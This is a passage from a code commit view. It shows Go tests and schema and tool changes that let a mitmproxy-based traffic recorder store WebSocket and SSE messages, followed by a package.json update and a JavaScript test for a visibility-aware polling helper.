if ex.status != 101 || ex.url != target {
t.Fatalf("exchange %+v, want status 101 and url %s", ex, target)
}
// c2s: "hello" (5) + 4 binary bytes; s2c: "echo:hello" (10) + 4.
if ex.reqLen != 9 || ex.respLen != 14 {
t.Fatalf("req_len=%d resp_len=%d, want 9 and 14", ex.reqLen, ex.respLen)
}
var respHead string
if err := tr.DB().QueryRow(`SELECT resp_head FROM exchange_bodies WHERE id=?`, ex.id).Scan(&respHead); err != nil || !strings.HasPrefix(respHead, "HTTP/1.1 101 Switching Protocols") {
t.Fatalf("resp_head %q err=%v", respHead, err)
}
if count, kind, err := tr.StreamInfo(ex.id); err != nil || count != 4 || kind != "websocket" {
t.Fatalf("StreamInfo = %d %q %v", count, kind, err)
}
msgs := allMessages(t, tr, ex.id)
want := []struct {
dir, typ, payload string
kind int
}{
{"c2s", "text", "hello", 1},
{"s2c", "text", "echo:hello", 1},
{"c2s", "binary", base64.StdEncoding.EncodeToString([]byte{0, 1, 2, 255}), 2},
{"s2c", "binary", base64.StdEncoding.EncodeToString([]byte{255, 2, 1, 0}), 2},
}
if len(msgs) != len(want) {
t.Fatalf("got %d messages: %+v", len(msgs), msgs)
}
last := before
for i, w := range want {
m := msgs[i]
if m.Seq != int64(i+1) || m.Direction != w.dir || m.Type != w.typ || m.Kind != w.kind || m.Payload != w.payload {
t.Fatalf("message %d = %+v, want %+v", i, m, w)
}
if (w.typ == "binary") != (m.Encoding == "base64") {
t.Fatalf("message %d encoding %q", i, m.Encoding)
}
if m.TS < last {
t.Fatalf("message %d ts %d before %d", i, m.TS, last)
}
last = m.TS
}
}
func TestSSEEventsRecorded(t *testing.T) {
tr, _, proxyURL := startProxy(t)
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/event-stream")
w.WriteHeader(200)
fl := w.(http.Flusher)
for _, ev := range []string{
"retry: 1500\nid: 1\nevent: greet\ndata: hello\ndata: world\n\n",
"id: 2\ndata: second\n\n",
"event: done\ndata: bye\n\n",
} {
_, _ = io.WriteString(w, ev)
fl.Flush()
time.Sleep(10 * time.Millisecond)
}
}))
t.Cleanup(srv.Close)
resp, err := proxyClient(t, tr, proxyURL).Get(localhostURL(srv.URL) + "/events")
if err != nil {
t.Fatal(err)
}
body, _ := io.ReadAll(resp.Body)
resp.Body.Close()
if !strings.Contains(string(body), "data: bye") {
t.Fatalf("client body %q", body)
}
var ex streamExchange
waitFor(t, "sse end", func() bool {
exs := streamExchanges(t, tr, "%event-stream%")
if len(exs) != 1 || exs[0].respLen == 0 {
return false
}
ex = exs[0]
return true
})
if ex.status != 200 || !strings.HasPrefix(ex.url, localhostURL(srv.URL)+"/events") {
t.Fatalf("exchange %+v", ex)
}
if n, _ := tr.Count(); n != 1 {
t.Fatalf("%d exchanges recorded, want the single SSE exchange", n)
}
msgs := allMessages(t, tr, ex.id)
want := []struct {
event, id, data string
retry int
}{
{"greet", "1", "hello\nworld", 1500},
{"message", "2", "second", 0},
{"done", "", "bye", 0},
}
if len(msgs) != len(want) {
t.Fatalf("got %d events: %+v", len(msgs), msgs)
}
for i, w := range want {
m := msgs[i]
if m.Seq != int64(i+1) || m.Direction != "s2c" || m.Kind != 0 || m.Type != "event" ||
m.Event != w.event || m.EventID != w.id || m.Payload != w.data || m.Retry != w.retry || m.Size != len(w.data) {
t.Fatalf("event %d = %+v, want %+v", i, m, w)
}
}
}
// unitStream opens a recorder without starting the proxy and drives its hooks
// directly with a synthetic WebSocket flow.
func unitStream(t *testing.T, host string) (*Traffic, *sink, *mproxy.Flow) {
t.Helper()
tr, err := Open(t.TempDir(), "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = tr.Close() })
u, _ := url.Parse("https://" + host + "/ws")
f := &mproxy.Flow{Request: &mproxy.Request{Method: "GET", URL: u, Proto: "HTTP/1.1", Header: http.Header{}}, WebScoket: &mproxy.WebSocketData{}}
s := tr.proxy.Addons[0].(*sink)
s.WebSocketStart(f)
return tr, s, f
}
func addWS(f *mproxy.Flow, fromClient bool, mt int, content []byte) {
f.WebScoket.Messages = append(f.WebScoket.Messages, &mproxy.WebSocketMessage{Type: mt, Content: content, FromClient: fromClient, Timestamp: time.Now()})
}
func onlyExchange(t *testing.T, tr *Traffic) string {
t.Helper()
exs := streamExchanges(t, tr, "websocket")
if len(exs) != 1 {
t.Fatalf("%d websocket exchanges", len(exs))
}
return exs[0].id
}
func metaCounts(t *testing.T, m StreamMessage) (msgs, bytes int64) {
t.Helper()
var v struct {
DroppedMessages int64 `json:"dropped_messages"`
DroppedBytes int64 `json:"dropped_bytes"`
}
if err := json.Unmarshal([]byte(m.Payload), &v); err != nil {
t.Fatalf("meta payload %q: %v", m.Payload, err)
}
return v.DroppedMessages, v.DroppedBytes
}
func TestStreamPayloadTruncatedToLimit(t *testing.T) {
tr, s, f := unitStream(t, "trunc.test")
big := bytes.Repeat([]byte("a"), maxStreamPayload+10)
addWS(f, true, websocket.TextMessage, big)
s.WebSocketMessage(f)
id := onlyExchange(t, tr)
msgs := allMessages(t, tr, id)
if len(msgs) != 1 {
t.Fatalf("%d messages", len(msgs))
}
m := msgs[0]
if !m.Truncated || m.Size != maxStreamPayload+10 || m.Blob == "" || len(m.Payload) > streamPreview {
t.Fatalf("message = seq %d size %d truncated %v blob %q payload %d bytes", m.Seq, m.Size, m.Truncated, m.Blob, len(m.Payload))
}
data, total, err := tr.BlobRange(m.Blob, 0, 16)
if err != nil || total != maxStreamPayload || string(data) != strings.Repeat("a", 16) {
t.Fatalf("blob total=%d data=%q err=%v, want the kept %d-byte prefix", total, data, err, maxStreamPayload)
}
}
func TestStreamMessageLimitStoresOneMetaRow(t *testing.T) {
tr, s, f := unitStream(t, "count.test")
for i := 0; i < maxStreamMessages+5; i++ {
addWS(f, i%2 == 0, websocket.TextMessage, []byte("m"))
}
s.WebSocketMessage(f)
addWS(f, true, websocket.TextMessage, []byte("late"))
s.WebSocketMessage(f)
s.WebSocketEnd(f)
id := onlyExchange(t, tr)
msgs := allMessages(t, tr, id)
if len(msgs) != maxStreamMessages+1 {
t.Fatalf("%d rows, want %d messages and one meta row", len(msgs), maxStreamMessages)
}
meta := msgs[len(msgs)-1]
if meta.Direction != "meta" || meta.Type != "meta" || meta.Kind != 0 || meta.Seq != maxStreamMessages+1 {
t.Fatalf("last row %+v, want the meta row", meta)
}
if n, b := metaCounts(t, meta); n != 6 || b != 5+4 {
t.Fatalf("meta dropped_messages=%d dropped_bytes=%d, want 6 and 9", n, b)
}
for _, m := range msgs[:len(msgs)-1] {
if m.Direction == "meta" {
t.Fatalf("more than one meta row: %+v", m)
}
}
}
func TestStreamByteLimitStoresOneMetaRow(t *testing.T) {
tr, s, f := unitStream(t, "bytes.test")
chunk := bytes.Repeat([]byte{7}, maxStreamPayload)
// Each kept 1 MiB payload spills and also keeps its inline tag, so the cap
// admits floor(maxStreamBytes / (payload + tag)) of them.
cost := streamStoredCost(streamRow{payload: chunk, ctype: "application/octet-stream"})
if cost <= maxStreamPayload {
t.Fatalf("cost %d does not count the inline preview", cost)
}
kept := int(maxStreamBytes / cost)
n := kept + 1
for i := 0; i < n; i++ {
addWS(f, false, websocket.BinaryMessage, chunk)
}
s.WebSocketMessage(f)
addWS(f, false, websocket.BinaryMessage, []byte{1})
s.WebSocketMessage(f)
s.WebSocketEnd(f)
id := onlyExchange(t, tr)
msgs := allMessages(t, tr, id)
if len(msgs) != kept+1 {
t.Fatalf("%d rows, want %d stored and one meta row", len(msgs), kept)
}
meta := msgs[len(msgs)-1]
if meta.Direction != "meta" {
t.Fatalf("last row %+v, want the meta row", meta)
}
if dn, db := metaCounts(t, meta); dn != 2 || db != maxStreamPayload+1 {
t.Fatalf("meta dropped_messages=%d dropped_bytes=%d", dn, db)
}
var stored, inline int64
if err := tr.DB().QueryRow(`SELECT SUM(size), SUM(LENGTH(payload)) FROM stream_messages WHERE exchange_id=? AND direction<>'meta'`, id).Scan(&stored, &inline); err != nil ||
stored != int64(kept*maxStreamPayload) || stored+inline > maxStreamBytes {
t.Fatalf("stored %d payload bytes + %d inline err=%v, want %d within %d", stored, inline, err, kept*maxStreamPayload, maxStreamBytes)
}
var respLen int64
if err := tr.DB().QueryRow(`SELECT resp_len FROM exchanges WHERE id=?`, id).Scan(&respLen); err != nil || respLen != int64(n*maxStreamPayload+1) {
t.Fatalf("resp_len %d err=%v, want every observed byte", respLen, err)
}
}
// A payload over maxStreamInline goes to the blob store; the row returns at
// most 4 KiB and the hash, and the blob holds the whole payload.
func TestStreamPayloadSpillsAboveInlineLimit(t *testing.T) {
tr, s, f := unitStream(t, "spill.test")
bigText := []byte(strings.Repeat("0123456789", 1024)) // 10 KiB
bigBin := make([]byte, 10*1024)
for i := range bigBin {
bigBin[i] = byte(i)
}
small := []byte(strings.Repeat("s", 1024))
addWS(f, true, websocket.TextMessage, bigText)
addWS(f, false, websocket.BinaryMessage, bigBin)
addWS(f, true, websocket.TextMessage, small)
s.WebSocketMessage(f)
msgs := allMessages(t, tr, onlyExchange(t, tr))
if len(msgs) != 3 {
t.Fatalf("%d messages", len(msgs))
}
text, bin, inline := msgs[0], msgs[1], msgs[2]
if text.Blob == "" || len(text.Payload) > streamPreview || text.Payload != string(bigText[:streamPreview]) || text.Size != len(bigText) || text.Truncated {
t.Fatalf("10 KiB text row: blob %q payload %d bytes size %d truncated %v", text.Blob, len(text.Payload), text.Size, text.Truncated)
}
if data, total, err := tr.BlobRange(text.Blob, 0, int64(len(bigText))); err != nil || total != int64(len(bigText)) || !bytes.Equal(data, bigText) {
t.Fatalf("text blob total=%d err=%v, want the full 10 KiB", total, err)
}
raw, err := base64.StdEncoding.DecodeString(bin.Payload)
if bin.Blob == "" || err != nil || !bytes.Equal(raw, bigBin[:streamPreview]) {
t.Fatalf("10 KiB binary row: blob %q preview %d bytes err=%v, want its first 4 KiB", bin.Blob, len(raw), err)
}
if data, total, err := tr.BlobRange(bin.Blob, 0, int64(len(bigBin))); err != nil || total != int64(len(bigBin)) || !bytes.Equal(data, bigBin) {
t.Fatalf("binary blob total=%d err=%v", total, err)
}
if inline.Blob != "" || inline.Payload != string(small) {
t.Fatalf("1 KiB row: blob %q payload %d bytes, want inline and complete", inline.Blob, len(inline.Payload))
}
}
// The server writes a message and closes at once; the message the client read
// must be recorded even though WebSocketEnd fires as soon as one direction ends.
func TestWebSocketFinalMessageOnClose(t *testing.T) {
tr, _, proxyURL := startProxy(t)
up := websocket.Upgrader{CheckOrigin: func(*http.Request) bool { return true }}
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
c, err := up.Upgrade(w, r, nil)
if err != nil {
return
}
_ = c.WriteMessage(websocket.TextMessage, []byte("final"))
_ = c.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""))
_ = c.Close()
}))
t.Cleanup(srv.Close)
c, _, err := wsDialer(t, tr, proxyURL).Dial("wss://"+strings.TrimPrefix(localhostURL(srv.URL), "https://")+"/ws", nil)
if err != nil {
t.Fatal(err)
}
if _, got, err := c.ReadMessage(); err != nil || string(got) != "final" {
t.Fatalf("read %q err=%v", got, err)
}
_ = c.Close()
var id string
waitFor(t, "websocket end", func() bool {
exs := streamExchanges(t, tr, "websocket")
if len(exs) != 1 || exs[0].respLen == 0 {
return false
}
id = exs[0].id
return true
})
msgs := allMessages(t, tr, id)
if len(msgs) != 1 || msgs[0].Direction != "s2c" || msgs[0].Payload != "final" {
t.Fatalf("messages %+v, want the final server message", msgs)
}
}
func TestDeleteHostRemovesStreamMessagesAndBlobs(t *testing.T) {
tr, s, f := unitStream(t, "gone.test")
addWS(f, false, websocket.BinaryMessage, bytes.Repeat([]byte{9}, maxInlineBody+1))
addWS(f, true, websocket.TextMessage, []byte("small"))
s.WebSocketMessage(f)
s.WebSocketEnd(f)
id := onlyExchange(t, tr)
msgs := allMessages(t, tr, id)
if len(msgs) != 2 || msgs[0].Blob == "" {
t.Fatalf("messages %+v, want a spilled first payload", msgs)
}
blobPath := filepath.Join(tr.dir, "_blobs", "sha256", msgs[0].Blob[:2], msgs[0].Blob+".bin")
if _, err := os.Stat(blobPath); err != nil {
t.Fatalf("payload blob missing: %v", err)
}
if n, err := tr.DeleteHost("gone.test"); err != nil || n != 1 {
t.Fatalf("DeleteHost = %d, %v", n, err)
}
var rows int
if err := tr.DB().QueryRow(`SELECT COUNT(*) FROM stream_messages`).Scan(&rows); err != nil || rows != 0 {
t.Fatalf("%d stream rows left, err=%v", rows, err)
}
if _, err := os.Stat(blobPath); !os.IsNotExist(err) {
t.Fatalf("payload blob not collected: %v", err)
}
}
// A recording failure must never reach the proxied connection.
func TestWebSocketSurvivesRecordingFailure(t *testing.T) {
tr, _, proxyURL := startProxy(t)
srv := echoWSServer(t)
c, _, err := wsDialer(t, tr, proxyURL).Dial("wss://"+strings.TrimPrefix(localhostURL(srv.URL), "https://")+"/ws", nil)
if err != nil {
t.Fatal(err)
}
defer closeWS(c)
if err := c.WriteMessage(websocket.TextMessage, []byte("before")); err != nil {
t.Fatal(err)
}
if _, got, err := c.ReadMessage(); err != nil || string(got) != "echo:before" {
t.Fatalf("echo %q err=%v", got, err)
}
if err := tr.DB().Close(); err != nil {
t.Fatal(err)
}
for i := 0; i < 3; i++ {
msg := fmt.Sprintf("after-%d", i)
if err := c.WriteMessage(websocket.TextMessage, []byte(msg)); err != nil {
t.Fatalf("write %s: %v", msg, err)
}
_ = c.SetReadDeadline(time.Now().Add(5 * time.Second))
if _, got, err := c.ReadMessage(); err != nil || string(got) != "echo:"+msg {
t.Fatalf("echo %q err=%v after the index closed", got, err)
}
}
}
// Both forwarding goroutines fire the message hook at once; every message must
// be stored exactly once, each direction in order.
func TestWebSocketConcurrentDirections(t *testing.T) {
const n = 200
tr, _, proxyURL := startProxy(t)
up := websocket.Upgrader{CheckOrigin: func(*http.Request) bool { return true }}
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
c, err := up.Upgrade(w, r, nil)
if err != nil {
return
}
defer c.Close()
go func() {
for i := 0; i < n; i++ {
if c.WriteMessage(websocket.TextMessage, []byte(fmt.Sprintf("s-%d", i))) != nil {
return
}
}
}()
for {
if _, _, err := c.ReadMessage(); err != nil {
return
}
}
}))
t.Cleanup(srv.Close)
c, _, err := wsDialer(t, tr, proxyURL).Dial("wss://"+strings.TrimPrefix(localhostURL(srv.URL), "https://")+"/ws", nil)
if err != nil {
t.Fatal(err)
}
var wg sync.WaitGroup
wg.Add(1)
go func() {
defer wg.Done()
for i := 0; i < n; i++ {
if err := c.WriteMessage(websocket.TextMessage, []byte(fmt.Sprintf("c-%d", i))); err != nil {
t.Errorf("write: %v", err)
return
}
}
}()
for i := 0; i < n; i++ {
if _, _, err := c.ReadMessage(); err != nil {
t.Fatalf("read %d: %v", i, err)
}
}
wg.Wait()
var id string
waitFor(t, "all client messages recorded", func() bool {
exs := streamExchanges(t, tr, "websocket")
if len(exs) != 1 {
return false
}
id = exs[0].id
count, _, _ := tr.StreamInfo(id)
return count == 2*n
})
closeWS(c)
msgs := allMessages(t, tr, id)
next := map[string]int{"c2s": 0, "s2c": 0}
for i, m := range msgs {
if m.Seq != int64(i+1) {
t.Fatalf("row %d has seq %d", i, m.Seq)
}
prefix := "s-"
if m.Direction == "c2s" {
prefix = "c-"
}
if want := fmt.Sprintf("%s%d", prefix, next[m.Direction]); m.Payload != want {
t.Fatalf("row %d %s payload %q, want %q", i, m.Direction, m.Payload, want)
}
next[m.Direction]++
}
if next["c2s"] != n || next["s2c"] != n {
t.Fatalf("stored %v, want %d each way", next, n)
}
}
// The library's unexported lock is what makes reading its message slices safe;
// a go-mitmproxy upgrade that renames it must fail here, not race silently.
func TestLibMutexFound(t *testing.T) {
if libMutex(&mproxy.WebSocketData{}) == nil || libMutex(&mproxy.SSEData{}) == nil {
t.Fatal("go-mitmproxy WebSocketData/SSEData no longer have a sync.Mutex field named mu")
}
// Without the lock nothing is read: no unlocked fallback.
if _, ok := lockLib(&struct{ Messages []int }{}); ok {
t.Fatal("lockLib reported a lock on a type without mu")
}
}
+113 -7
View File
@@ -73,6 +73,24 @@ CREATE TABLE IF NOT EXISTS blob_refs (
PRIMARY KEY (hash, exchange_id)
);
CREATE INDEX IF NOT EXISTS idx_blob_refs_ex ON blob_refs(exchange_id);
-- WebSocket messages and SSE events of a stream exchange, in arrival order.
CREATE TABLE IF NOT EXISTS stream_messages (
exchange_id TEXT NOT NULL,
seq INTEGER NOT NULL,
ts INTEGER NOT NULL, -- unix seconds, like exchanges.ts
direction TEXT NOT NULL, -- 'c2s' | 's2c' | 'meta'
kind INTEGER NOT NULL, -- WebSocket opcode (1 text, 2 binary), 0 for SSE and meta
event TEXT NOT NULL DEFAULT '',
event_id TEXT NOT NULL DEFAULT '',
retry INTEGER NOT NULL DEFAULT 0,
size INTEGER NOT NULL, -- original payload size
payload BLOB, -- inline payload, or a preview when spilled
payload_blob TEXT, -- sha256 of the spilled payload
truncated INTEGER NOT NULL DEFAULT 0,
PRIMARY KEY (exchange_id, seq)
);
CREATE INDEX IF NOT EXISTS idx_stream_messages_ex ON stream_messages(exchange_id, seq);
`
// ftsSchema is applied separately from indexSchema: a driver build without FTS5
@@ -90,6 +108,14 @@ const (
// maxInlineBody is the cutoff between a body stored inline (SQLite column) and
// one spilled to the content-addressed blob store.
maxInlineBody = 256 * 1024
// maxStreamPayload is how much of one WebSocket message or SSE event is kept.
// A longer payload keeps its prefix, with truncated=1 and its original size.
maxStreamPayload = 1024 * 1024
// maxStreamMessages and maxStreamBytes bound one stream exchange (bytes as
// stored, after truncation). Past either, storing stops and a single 'meta'
// row records how many messages and bytes were dropped.
maxStreamMessages = 10000
maxStreamBytes = 32 * 1024 * 1024
// blobPreview is how much of a spilled body stays inline so readers can tell
// what it is (JSON shape, SQL dump header, ZIP magic) without fetching it.
blobPreview = 8 * 1024
@@ -383,10 +409,13 @@ func (t *Traffic) stopping() bool {
}
func (t *Traffic) DB() *sql.DB { return t.db }
// sink is the go-mitmproxy addon that records completed exchanges.
// sink is the go-mitmproxy addon that records completed exchanges, and paces
// the requests of client connections marked for pacing (see pace.go).
type sink struct {
mproxy.BaseAddon
t *Traffic
t *Traffic
paced sync.Map // ClientConn.Id of a marked connection -> struct{}
streams sync.Map // *mproxy.Flow of a live WebSocket/SSE stream -> *streamState (stream.go)
}
func (s *sink) Response(f *mproxy.Flow) {
@@ -441,9 +470,8 @@ func (t *Traffic) record(f *mproxy.Flow) {
host := f.Request.URL.Hostname()
method := f.Request.Method
tmpl := db.TemplatePath(f.Request.URL.EscapedPath())
n := t.seq.Add(1)
now := time.Now()
id := fmt.Sprintf("%d-%04d", now.Unix(), n%10000)
id := t.newExchangeID(now)
ct := f.Response.Header.Get("Content-Type")
url := f.Request.URL.String()
@@ -509,6 +537,12 @@ VALUES(?,?,?,?,?,?,?)`,
}
}
// newExchangeID names a recorded exchange: unix seconds plus a rolling sequence.
func (t *Traffic) newExchangeID(now time.Time) string {
n := t.seq.Add(1)
return fmt.Sprintf("%d-%04d", now.Unix(), n%10000)
}
// storedBody is one body after the inline/spill decision: inline is what goes in
// the SQLite column (the whole body, or a preview when spilled), hash names the
// blob when it spilled, and index is the text handed to FTS (empty for binary).
@@ -524,6 +558,12 @@ type storedBody struct {
// are handed to the full-text index in full (up to maxIndexBody) — indexing is
// independent of where the bytes end up.
func (t *Traffic) spill(body []byte, contentType string) storedBody {
return t.spillAt(body, contentType, maxInlineBody)
}
// spillAt is spill with the inline threshold as a parameter: bodies up to
// maxInline stay inline. Stream messages use a much lower one (maxStreamInline).
func (t *Traffic) spillAt(body []byte, contentType string, maxInline int) storedBody {
if len(body) == 0 {
return storedBody{}
}
@@ -534,7 +574,7 @@ func (t *Traffic) spill(body []byte, contentType string) storedBody {
}
return string(clipBytes(body, maxIndexBody))
}
if len(body) <= maxInlineBody {
if len(body) <= maxInline {
return storedBody{inline: body, index: indexText()}
}
@@ -1189,6 +1229,9 @@ func (t *Traffic) deleteWhere(tx *sql.Tx, where string, args ...any) (int64, err
if _, err := tx.Exec(`DELETE FROM exchange_bodies WHERE id IN (SELECT id FROM exchanges WHERE `+where+`)`, args...); err != nil {
return 0, fmt.Errorf("delete bodies: %w", err)
}
if _, err := tx.Exec(`DELETE FROM stream_messages WHERE exchange_id IN (SELECT id FROM exchanges WHERE `+where+`)`, args...); err != nil {
return 0, fmt.Errorf("delete stream messages: %w", err)
}
if _, err := tx.Exec(`DELETE FROM blob_refs WHERE exchange_id IN (SELECT id FROM exchanges WHERE `+where+`)`, args...); err != nil {
return 0, fmt.Errorf("delete blob references: %w", err)
}
@@ -2056,7 +2099,7 @@ func (t *Traffic) Tools() []actool.CoreTool {
get := actool.Build(actool.Spec{
Name: "traffic_get",
Description: "Fetch the raw request/response of one captured traffic record by id (truncated when too large). Use together with traffic_search to avoid re-curling.",
Description: "Fetch the raw request/response of one captured traffic record by id (truncated when too large). Use together with traffic_search to avoid re-curling. A WebSocket (status 101) or SSE (text/event-stream) record shows only its handshake here; read its messages with traffic_messages.",
Schema: map[string]any{
"type": "object",
"properties": map[string]any{"id": map[string]any{"type": "string", "description": "the id returned by traffic_search"}},
@@ -2114,7 +2157,70 @@ func (t *Traffic) Tools() []actool.CoreTool {
},
})
return []actool.CoreTool{search, get, blob}
messages := actool.Build(actool.Spec{
Name: "traffic_messages",
Description: "List the messages of one captured WebSocket or SSE (Server-Sent Events) record in order: direction (c2s client→server, s2c server→client), type (text/binary/event, or meta when the recorder dropped messages past its limits), size and a preview of at most 1KB (binary as hex). A payload stored as a blob carries its hash; read the rest with traffic_blob. Returns 20 messages by default, at most 50; use offset to page.",
Schema: map[string]any{
"type": "object",
"properties": map[string]any{
"id": map[string]any{"type": "string", "description": "the record id from traffic_search (a WebSocket status-101 or SSE record)"},
"offset": map[string]any{"type": "integer", "description": "number of messages to skip, default 0"},
"limit": map[string]any{"type": "integer", "description": "messages to return, default 20, max 50"},
},
"required": []any{"id"},
},
ReadOnly: ro,
Permissions: allow,
Run: func(_ context.Context, in json.RawMessage, _ *actool.ToolContext) (actool.Result, error) {
var a struct {
ID string
Offset int
Limit int
}
_ = json.Unmarshal(in, &a)
if strings.TrimSpace(a.ID) == "" {
return actool.Errorf("id is a required parameter"), nil
}
if a.Limit <= 0 {
a.Limit = 20
}
if a.Limit > 50 {
a.Limit = 50
}
if a.Offset < 0 {
a.Offset = 0
}
msgs, total, err := t.StreamMessages(a.ID, a.Offset, a.Limit)
if err != nil {
return actool.Errorf(err.Error()), nil
}
if total == 0 {
return actool.Text("No stream messages recorded for this id (not a WebSocket/SSE record, or no message was exchanged)."), nil
}
type liteMsg struct {
Seq int64 `json:"seq"`
Direction string `json:"direction"`
Type string `json:"type"`
Event string `json:"event,omitempty"`
Size int `json:"size"`
Preview string `json:"preview"`
Blob string `json:"blob,omitempty"`
Truncated bool `json:"truncated,omitempty"`
}
lite := make([]liteMsg, 0, len(msgs))
for _, m := range msgs {
l := liteMsg{Seq: m.Seq, Direction: m.Direction, Type: m.Type, Event: m.Event, Size: m.Size, Preview: streamToolPreview(m), Truncated: m.Truncated}
if m.Blob != "" {
l.Blob = "@blob sha256:" + m.Blob
}
lite = append(lite, l)
}
b, _ := json.Marshal(lite)
return actool.Text(fmt.Sprintf("[messages %d-%d of %d]\n", a.Offset+1, a.Offset+len(msgs), total) + string(b)), nil
},
})
return []actool.CoreTool{search, get, blob, messages}
}
// SeedToolMetas returns the traffic tools built on a ZERO receiver, for seeding the
+28 -1
View File
@@ -377,6 +377,22 @@ VALUES(?,?,?,?,?,?,?,?,?,?,?)`,
seed("1-0002", "b.example.com", hb) // sole reference to blobB
seed("1-0003", "c.example.com", hc) // shares blobC with d
seed("1-0004", "d.example.com", hc)
// d is also a stream exchange whose one message payload spilled to blobD,
// referenced through blob_refs like any body.
hd := strings.Repeat("d", 64)
blobD := filepath.Join(dir, "_blobs", "sha256", "dd", hd+".bin")
if err := os.MkdirAll(filepath.Dir(blobD), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(blobD, []byte("x"), 0o644); err != nil {
t.Fatal(err)
}
if _, err := tr.DB().Exec(`INSERT INTO stream_messages(exchange_id,seq,ts,direction,kind,size,payload,payload_blob) VALUES('1-0004',1,1,'s2c',2,1,x'78',?)`, hd); err != nil {
t.Fatal(err)
}
if _, err := tr.DB().Exec(`INSERT INTO blob_refs(hash,exchange_id) VALUES(?, '1-0004')`, hd); err != nil {
t.Fatal(err)
}
// Delete a: blobA orphaned → removed; blobB/blobC still referenced → kept.
if n, err := tr.DeleteHost("a.example"); err != nil || n != 1 {
@@ -399,12 +415,23 @@ VALUES(?,?,?,?,?,?,?,?,?,?,?)`,
if _, err := os.Stat(blobC); err != nil {
t.Fatalf("shared blobC removed after deleting one sharer: %v", err)
}
if _, err := os.Stat(blobD); err != nil {
t.Fatalf("stream payload blobD removed while d still references it: %v", err)
}
// Delete d: last reference gone → blobC collected.
// Delete d: last reference gone → blobC collected, and d's stream message
// and its payload blob go with it.
if n, err := tr.DeleteHost("d.example"); err != nil || n != 1 {
t.Fatalf("DeleteHost(d.example)=%d, err=%v; want 1, nil", n, err)
}
if _, err := os.Stat(blobC); !os.IsNotExist(err) {
t.Fatalf("blobC still exists after last reference removed: %v", err)
}
var streamRows int
if err := tr.DB().QueryRow(`SELECT COUNT(*) FROM stream_messages`).Scan(&streamRows); err != nil || streamRows != 0 {
t.Fatalf("%d stream rows left after deleting d, err=%v", streamRows, err)
}
if _, err := os.Stat(blobD); !os.IsNotExist(err) {
t.Fatalf("stream payload blobD still exists after its exchange was deleted: %v", err)
}
}
+588 -234
View File
File diff suppressed because it is too large Load Diff
+4 -4
View File
@@ -12,7 +12,8 @@
"check": "biome check",
"check:fix": "biome check --write",
"prepare": "husky",
"generate:presets": "ts-node -P tsconfig.scripts.json src/scripts/generate-theme-presets.ts"
"generate:presets": "ts-node -P tsconfig.scripts.json src/scripts/generate-theme-presets.ts",
"test:polling": "node --test scripts/polling.test.mjs"
},
"lint-staged": {
"*.{js,ts,jsx,tsx}": [
@@ -21,7 +22,6 @@
},
"dependencies": {
"@antv/g6": "^5.1.1",
"@antv/graphin": "^3.0.5",
"@base-ui/react": "^1.6.0",
"@dnd-kit/core": "^6.3.1",
"@dnd-kit/modifiers": "^9.0.0",
@@ -40,7 +40,7 @@
"geist": "^1.7.2",
"input-otp": "^1.4.2",
"lucide-react": "^1.22.0",
"next": "^16.2.9",
"next": "^16.4.6",
"next-themes": "^0.4.6",
"radix-ui": "^1.6.0",
"react": "^19.2.7",
@@ -52,7 +52,6 @@
"react-resizable-panels": "^4.12.0",
"recharts": "^3.8.0",
"remark-gfm": "^4.0.1",
"shadcn": "^4.12.0",
"simple-icons": "^16.24.1",
"sonner": "^2.0.7",
"tailwind-merge": "^3.6.0",
@@ -74,6 +73,7 @@
"husky": "^9.1.7",
"lint-staged": "^16.4.0",
"postcss": "^8.5.16",
"shadcn": "^4.12.0",
"tailwindcss": "^4.1.5",
"ts-node": "^10.9.2",
"tw-animate-css": "^1.4.0",
+120
View File
@@ -0,0 +1,120 @@
import { test } from "node:test";
import assert from "node:assert/strict";
import fs from "node:fs";
import vm from "node:vm";
import path from "node:path";
import { fileURLToPath } from "node:url";
import ts from "typescript";
const web = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "..");
function moduleFor(name, globals = {}) {
const output = ts.transpileModule(fs.readFileSync(path.join(web, "src/lib", name + ".ts"), "utf8"), {
compilerOptions: { module: ts.ModuleKind.CommonJS, target: ts.ScriptTarget.ES2022 },
}).outputText;
const exports = {};
vm.runInNewContext(output, { exports, ...globals });
return exports;
}
function setup(hidden = false) {
let sequence = 0;
const timers = new Map();
const listeners = new Set();
const document = {
visibilityState: hidden ? "hidden" : "visible",
addEventListener: (_, callback) => listeners.add(callback),
removeEventListener: (_, callback) => listeners.delete(callback),
};
const { setVisibleInterval } = moduleFor("polling", {
document,
setTimeout: (callback) => {
const id = ++sequence;
timers.set(id, callback);
return id;
},
clearTimeout: (id) => timers.delete(id),
});
return {
setVisibleInterval,
timers,
listeners,
visibility(hidden) {
document.visibilityState = hidden ? "hidden" : "visible";
for (const callback of listeners) callback();
},
tick() {
const entries = [...timers];
timers.clear();
for (const [, callback] of entries) callback();
},
};
}
async function settle() {
for (let i = 0; i < 8; i++) await Promise.resolve();
}
test("hidden tabs make no scheduled requests; returning refreshes immediately and cleanup stops work", async () => {
const s = setup(true);
let calls = 0;
const stop = s.setVisibleInterval(() => {
calls++;
}, 5000);
s.tick();
await settle();
assert.equal(calls, 0);
assert.equal(s.timers.size, 0);
s.visibility(false);
await settle();
assert.equal(calls, 1);
assert.equal(s.timers.size, 1);
s.visibility(true);
assert.equal(s.timers.size, 0);
s.visibility(false);
await settle();
assert.equal(calls, 2);
stop();
s.tick();
s.visibility(false);
await settle();
assert.equal(calls, 2);
assert.equal(s.listeners.size, 0);
assert.equal(s.timers.size, 0);
});
test("a slow poll cannot overlap on timer or visibility changes; dispose while running cannot revive it", async () => {
const s = setup();
let calls = 0;
let release;
const stop = s.setVisibleInterval(() => {
calls++;
return new Promise((resolve) => {
release = resolve;
});
}, 2000);
s.tick();
assert.equal(calls, 1);
s.visibility(true);
s.visibility(false);
s.tick();
assert.equal(calls, 1);
release();
await settle();
assert.equal(s.timers.size, 1);
s.tick();
assert.equal(calls, 2);
stop();
release();
await settle();
assert.equal(s.timers.size, 0);
});
test("a failed background refresh retries on the next interval", async () => {
const s = setup();
let calls = 0;
const stop = s.setVisibleInterval(async () => {
